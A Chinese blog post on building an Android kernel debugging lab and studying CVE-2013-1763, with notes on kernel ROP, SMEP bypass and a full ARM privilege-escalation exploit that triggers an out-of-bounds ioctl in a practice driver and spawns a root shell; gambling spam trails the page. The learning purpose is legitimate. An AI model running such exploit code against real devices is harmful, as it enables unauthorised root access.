搭建Android內核環境 [復制鏈接]

2020-4-15 15:43
_luhua_ 閱讀:306 評論:0 贊:0
Tag:  環境
本來是想嘗試在Android下復現,但最后還是只在Linux下復現成功了,可能還是出現了些紕漏的地方。
 
以前搭建過linux的內核環境,當時是為了做kernel pwn搭建的,但是嘗試復現Android kernel的漏洞,雖說原理相同,但還是重新搭建了新的環境。
 
搭建環境的步驟基本沒遇到什么大坑,跟著這個庫https://github.com/Fuzion24/AndroidKernelExploitationPlayground)走基本就沒遇到什么大坑。



配置


playground├── android-sdk-linux├── arm-linux-androideabi-4.6├── goldfish└── kernel_exploit_challenges
git clone https://aosp.tuna.tsinghua.edu.cn/platform/prebuilts/gcc/linux-x86/arm/arm-linux-androideabi-4.6git clone https://aosp.tuna.tsinghua.edu.cn/kernel/goldfish && \git clone https://github.com/Fuzion24/AndroidKernelExploitationPlayground.git kernel_exploit_challenges && \cd goldfish && git checkout -t origin/android-goldfish-3.4 && \git am --signoff < ../kernel_exploit_challenges/kernel_build/debug_symbols_and_challenges.patch && \cd .. && ln -s $(pwd)/kernel_exploit_challenges/ goldfish/drivers/vulnerabilities



搭建內核


export ARCH=arm SUBARCH=arm CROSS_COMPILE=arm-linux-androideabi- &&\export PATH=$(pwd)/arm-linux-androideabi-4.6/bin/:$PATH && \cd goldfish && make goldfish_armv7_defconfig && make -j8


編譯完成后,就會有兩個主要的文件:goldfish/vmlinux 和 goldfish/arch/arm/boot/zImage。前面那個用于在調試時 gdb加載,后面的用于在安卓模擬器啟動時加載。

vmlinux 用于提供符號表,zImage 則用于運行環境。
 
然后下載或者編譯sdk,下載完成后解壓并將 android-sdk-linux/tools 加入環境變量(.bashrc)。

wget http://dl.google.com/android/android-sdk_r24.4.1-linux.tgztar xvf android-sdk_r24.4.1-linux.tgzexport PATH=YOURPATH/android-sdk-linux/tools:$PATH

還要下jdk,在終端中輸入 android,下載我們需要的 SDK 和系統鏡像。
 



運行模擬器


創建模擬器:
android create avd --force -t "android-19" -n kernel_challenges

其選項按需求選擇,反正我一開始是一路enter的。
 
接下來進入 goldfish 目錄,執行下面的命令用我們的內核運行模擬器,并在 1234 端口 起一個 gdbserver 方便內核調試。

emulator -show-kernel -kernel arch/arm/boot/zImage -avd kernel_challenges -no-boot-anim -no-skin -no-audio -no-window -qemu -monitor unix:/tmp/qemuSocket,server,nowait -s

再開一個 shell,進入 goldfish 目錄,加載 vmlinux 以便調試內核:

arm-linux-androideabi-gdb vmlinux

這里的gdb注意因為前面export path了,所以實際路徑是在arm-linux-androideabi-4.6/bin里。
 
出現arm-linux-androideabi-gdb: error while loading shared libraries: libpython2.6.so.1.0: cannot open shared object file: No such file or directory問題時用以下方法即可:

ln -s /usr/lib/x86_64-linux-gnu/libpython2.7.so /lib/x86_64-linux-gnu/libpython2.6.so.1.0

這樣基本上就可以調試內核了。
 
整體來說不太復雜,就是拖文件夠嗆,網絡太差了orz。

之前調試kernel pwn題的時候還要煩些,后來用了兩種方式搞定kernel環境,一是在虛擬機里搞定后再在本機的vscode 用ssh連接虛擬機,就實現了在vscode邊寫代碼邊測試的路子(很舒服),后來還是覺得麻煩因為要關hyper,不能使用wsl處理一般事務,于是就直接在我的pwn docker里直接搭建環境也成功了,然后再用docker共享文件也實現了邊寫代碼邊測試的路子(更舒服而且cpu的負荷啥的也小),具體搭建kernel環境的步驟不再累述,網上很多。

二更:分析了cve-2013-1763, 還是踩了一些坑


放一下一些內核的安全利用點(很不全),可以直接看ctf wiki或者其他的類似博客,大佬略過即可。
 

KASLR


內核地址空間隨機化,內核地址顯示限制,即kptr restrict指示是否限制通過/ proc和其他接口暴露內核地址。

0:默認情況下,沒有任何限制。

1:使用%pK格式說明符打印的內核指針將被替換為0,除非用戶具有CAP SYSLOG特權。

2:使用%pK打印的內核指針將被替換為0而不管特權。

 
也就是說,當kptr_ restrict被限制的時候我們不能直接通過cat /proc/kallsyms來獲得commit_creds的地址,要禁用該限制使用下面的命令:
sudo sysctl -w kernel.kptr_restrict=0
 
內核的rop:

|----------------------|| pop rdi; ret         |<== low mem|----------------------|| NULL                 ||----------------------|| addr of              || prepare_kernel_cred()||----------------------|| mov rdi, rax; ret    ||----------------------|| addr of              || commit_creds()       |<== high mem|----------------------|


smep


smep位于CR4寄存器的第20位,設置為1。CR4寄存器的值:0x1407f0 = 0001 0100 0000 0111 1111 0000

關閉SMEP方法

修改/etc/default/grub文件中的GRUB_CMDLINE_LINUX="",加上nosmep/nosmap/nokaslr,然后update-grub就好。

 
繞過smep的方法

由于我們只能在內核空間執行代碼,但是不能把ROP鏈放到內核空間中,所以只能用stack pivot把ROP鏈放到用戶空間。然后在內核空間找到合適的gadget放到ROP鏈中。

stack pivot

mov rXx, rsp ; retadd rsp, ...; retxchg rXx, rsp ; ret(xchg eXx, esp ; ret)xchg rsp, rXx ; ret(xchg esp, eXx ; ret)

還有一種比較簡單的繞過SMEP的方法是使用ROP翻轉CR4的第20位并禁用SMEP,然后再執行commit_creds(prepare_kernel_cred(0))獲取root權限。

如下構造:
offset of rippop rdi; retmov CR4, rdi; retcommit_creds(prepare_kernel_cred(0))swapgsiretqRIPCSEFLAGSRSPSS

漏洞的問題點其實不難,做過一點pwn的師傅們都能看的出來是個OOB類型的漏洞,簡要分析下。

先看patch,發現增加了個對req->sdiag_family的大小檢查,于是定位到這個函數。

 
發現外面還有個封裝,不難看出要觸發這個函數需要nlh的nlmsg_type類型為SOCK_DIAG_BY_FAMILY。
 

static int sock_diag_rcv_msg(struct sk_buff *skb, struct nlmsghdr *nlh){    int ret;     switch (nlh->nlmsg_type) {    case TCPDIAG_GETSOCK:    case DCCPDIAG_GETSOCK:        if (inet_rcv_compat == NULL)            request_module("net-pf-%d-proto-%d-type-%d", PF_NETLINK,                    NETLINK_SOCK_DIAG, AF_INET);         mutex_lock(&sock_diag_table_mutex);        if (inet_rcv_compat != NULL)            ret = inet_rcv_compat(skb, nlh);        else            ret = -EOPNOTSUPP;        mutex_unlock(&sock_diag_table_mutex);         return ret;    case SOCK_DIAG_BY_FAMILY:        return __sock_diag_rcv_msg(skb, nlh);    default:        return -EINVAL;    }}

可以在linux手冊http://man7.org/linux/man-pages/man7/netlink.7.html上看到nlmsghdr結構:

struct nlmsghdr {   __u32 nlmsg_len;    /* Length of message including header */   __u16 nlmsg_type;   /* Type of message content */   __u16 nlmsg_flags;  /* Additional flags */   __u32 nlmsg_seq;    /* Sequence number */   __u32 nlmsg_pid;    /* Sender port ID */}; nlmsg_type can be one of the standard message types: NLMSG_NOOP mes‐sage is to be ignored, NLMSG_ERROR message signals an error and thepayload contains an nlmsgerr structure, NLMSG_DONE message terminatesa multipart message.

要想調用到該結構體,需要使用NETLINK_SOCK_DIAG協議的Netlink套接字發送消息,具體可參考netlink編程http://edsionte.com/techblog/archives/4140)或Netlink Sockethttps://my.oschina.net/longscu/blog/59534,這里就不再累述。
 
再看__sock_diag_rcv_msg函數,可以知道,如果沒有patch,那么在sock_diag_lock_handler的參數我們可以調用超過AF_MAX大小的值。

static int __sock_diag_rcv_msg(struct sk_buff *skb, struct nlmsghdr *nlh){    int err;    struct sock_diag_req *req = nlmsg_data(nlh);    const struct sock_diag_handler *hndl;     if (nlmsg_len(nlh) < sizeof(*req))        return -EINVAL;     if (req->sdiag_family >= AF_MAX)        return -EINVAL;     hndl = sock_diag_lock_handler(req->sdiag_family);    if (hndl == NULL)        err = -ENOENT;    else        err = hndl->dump(skb, nlh);    sock_diag_unlock_handler(hndl);     return err;}

再看sock_diag_lock_handler以及sock_diag_handlers函數組的定義,發現在這里就出現了OOB的問題。

static const inline struct sock_diag_handler *sock_diag_lock_handler(int family){    if (sock_diag_handlers[family] == NULL)        request_module("net-pf-%d-proto-%d-type-%d", PF_NETLINK,                NETLINK_SOCK_DIAG, family);     mutex_lock(&sock_diag_table_mutex);    return sock_diag_handlers[family];} static const struct sock_diag_handler *sock_diag_handlers[AF_MAX];

根據上面的一些介紹和鏈接參考基本上就能知道要如何去構造而exp了, 我看網絡上公布的exp大致原理相同,可參考1,2,3,而
AndroidKernelExploitationPlayground是自己實現了個類似的漏洞,大致原理原理類似,但無需構造socket去與他交互和填充具體的結構體數值,更加好理解些。

exp的分析一起寫在代碼里了。

#include <stdio.h>#include <strings.h>#include <fcntl.h>#include <sys/mman.h>#include "../../module/CommandHandler.h"#include "dbg.h" __u32get_symbol(char *name){        FILE *f;        __u32 addr;        char dummy, sname[512];        int ret = 0;         //在/proc/kallsyms文件中存放著結構體的地址,需要讀取用來先對偏移        //如果系統開啟了內核地址顯示限制可以用這個命令禁用        //sudo sysctl -w kernel.kptr_restrict=0        f = fopen("/proc/kallsyms", "r");        if (!f) {                return 0;        }         while (ret != EOF) {                ret = fscanf(f, "%p %c %s\n", (void **) &addr, &dummy, sname);                if (ret == 0) {                        fscanf(f, "%s\n", sname);                        continue;                }                if (!strcmp(name, sname)) {                        printf("[+] resolved symbol %s to %p\n", name, (void *) addr);                        return addr;                }        }         return 0;} __u32 commit_creds;__u32 prepare_kernel_cred; int main(void){     //基本思路一樣的,都是最終調用commit_creds(prepare_kernel_cred(0));    commit_creds =  get_symbol("commit_creds");    prepare_kernel_cred = get_symbol("prepare_kernel_cred");     //這個是封裝在AndroidKernelExploitationPlayground環境內的漏洞文件位置(這里和其他的exp不同,重點沒有去構造socket與其交互,而是直接用其自己實現的偽“函數”,然后用ioctl與其交互。     int cmd_handler = open("/dev/array_index", O_RDWR);    check(cmd_handler >= 0, "Error opening challenge device");     //這里就是構造一塊可入可寫可執行的用戶空間,在這段空間內布置rop鏈    __u32 mmap_start = 0x02000000, mmap_size = 0x15000;     printf("[+] Mapping userspace memory at 0x%x\n", mmap_start);     void * mapped = mmap((void*)mmap_start, mmap_size, PROT_READ|PROT_WRITE|PROT_EXEC,        MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0);        check(mapped != MAP_FAILED, "Failed mapping");      //0x00000000 is nop for ARM        bzero( (void*)mmap_start, mmap_size );     //這里是arm上的exp,學過arm pwn的師傅們應該也不覺得陌生    //先將prepare_kernel_creds的位置放入r3,在把參數賦為0,即prepare_kernel_creds(0)    //調用r3內的函數(即prepare_kernel_creds)后,由于r0同時擔當了保存返回值的角色,于是只需將接下來調用的寄存器賦為commit_creds即可        __u32 jump[] = {           //00000000 <_start>:           /*   0:*/   0xe92d4010,           //  push    {r4, lr}           /*   4:*/   0xe59f3010,           //  ldr r3, [pc, #16]   ; 1c <_start+0x1c> (prepare_kernel_creds)           /*   8:*/   0xe3a00000,           //  mov r0, #0           /*   c:*/   0xe12fff33,           //  blx r3           /*  10:*/   0xe59f3008,           //  ldr r3, [pc, #8]    ; 20 <_start+0x20>  (commit_creds)           /*  14:*/   0xe12fff33,           //  blx r3           /*  18:*/   0xe8bd8010,           //  pop {r4, pc}           /*  1c:*/   prepare_kernel_cred,  //  .word   prepare_kernel_cred           /*  20:*/   commit_creds          //  .word   commit_creds        };     memcpy( (void*)mmap_start+mmap_size - sizeof(jump), jump, sizeof(jump));     /*這里看一下觸發的函數吧,都是OOB,但是沒那么復雜,不需要構造socket交互,而是換為了ioctl    CommandHandler handlers[] = {       {         .runHandler = &doNothingIntializer       },       {         .runHandler = &doNothingIntializer       }    };    long ai_ch_ioctl(struct file *filp,                      unsigned int cmd,                      unsigned long arg)    {     unsigned int handler_index = arg;       switch (cmd) {        case RUN_COMMAND_HANDLER:           handlers[handler_index].runHandler();           break;        default :           printk("Unknown ioctl cmd: %d", cmd);           return -1;      }      return 0;    }*/     printf("[+] Triggering the exploit\n");    int rc = ioctl(cmd_handler, RUN_COMMAND_HANDLER, 0x601);    check(rc != -1, "IOCTL failed");     printf("uid=%d, euid=%d\n",getuid(), geteuid() );     if(!getuid())      execl( "/system/bin/sh", "sh", (char*) NULL);     return 0;  error:    return -1;}

最后運行時需要注意,不要用串了。我一開始用錯一個exp,直接用了exploit-db上的exp,而其對應的linux內核版本是3.3-3.8,而在Android模擬器上復現的話,還是用ndk編譯,且具體的數據構造和exp內容(特別是匯編部分)還是不一樣的,注意查看下對應的系統結構比如下面這個,注意對應的gcc版本,一開始沒注意還運行不起來。

Linux version 3.4.67-g5e0dcfb (test@test-virtual-machine) (gcc version 4.6.x-google 20120106 (prerelease) (GCC) ) #1 PREEMPT Sun Mar 8 14:27:12 CST 2020

執行后程序報錯,可能還是有些不準,pc值是0有些迷惑。

Unable to handle kernel NULL pointer dereference at virtual address 00000000pgd = d77c4000[00000000] *pgd=177bc831, *pte=00000000, *ppte=00000000Internal error: Oops: 80000017 [#1] PREEMPT ARMCPU: 0    Not tainted  (3.4.67-g5e0dcfb #1)PC is at 0x0LR is at ai_ch_ioctl+0x20/0x40pc : [<00000000>]    lr : [<c025c1c0>]    psr: 60000013sp : d77a3f18  ip : 00000005  fp : bec41b48r10: 00000000  r9 : d77a2000  r8 : 00000000r7 : 00000005  r6 : d768cc80  r5 : de05d590  r4 : 00000601r3 : 00000000  r2 : c04adc40  r1 : 00001337  r0 : d768cc80Flags: nZCv  IRQs on  FIQs on  Mode SVC_32  ISA ARM  Segment userControl: 10c53c7d  Table: 177c4059  DAC: 00000015 [<c025c1c0>] (ai_ch_ioctl+0x20/0x40) from [<c00bf208>] (do_vfs_ioctl+0x560/0x5d4)[<c00bf208>] (do_vfs_ioctl+0x560/0x5d4) from [<c00bf2c8>] (sys_ioctl+0x4c/0x6c)[<c00bf2c8>] (sys_ioctl+0x4c/0x6c) from [<c000d680>] (ret_fast_syscall+0x0/0x30)Code: bad PC value---[ end trace 6e436d5d54b1e15f ]---Kernel panic - not syncing: Fatal exception

未完待續吧,這個庫里面還是有很多其他漏洞的,也推薦給想做arm上kernel漏洞復現的同學,但可能給android上的體會不太深,比較和Linux內核類似,且這次踩坑的時候心態有些炸了,具體的調試分析也直接草草分析過掉,希望下次能好些吧,爭取復現下其他層次的漏洞。

唉,漫漫長路啊。

我來說兩句
您需要登錄后才可以評論 登錄 | 立即注冊
facelist
所有評論(0)
領先的中文移動開發者社區
18620764416
7*24全天服務
意見反饋:[email protected]

掃一掃關注我們

Powered by Discuz! X3.2© 2001-2019 Comsenz Inc.( 粵ICP備15117877號 )

时时彩改欢乐生肖 秒速飞艇正规吗 577511王中王开奖直播 秒速快三头 一分11选5计划 生肖时时彩 宁夏11选五开奖结果走试图 日付网赚联盟 新516棋牌游戏中 河南快三一百期 31选7开奘结果 韩国快乐8 广东好彩一今晚开奖号码 揭秘职业竞彩高手 南通金游棋牌中心? 兴动棋牌哈尔滨麻将 陕西快乐10分选号技巧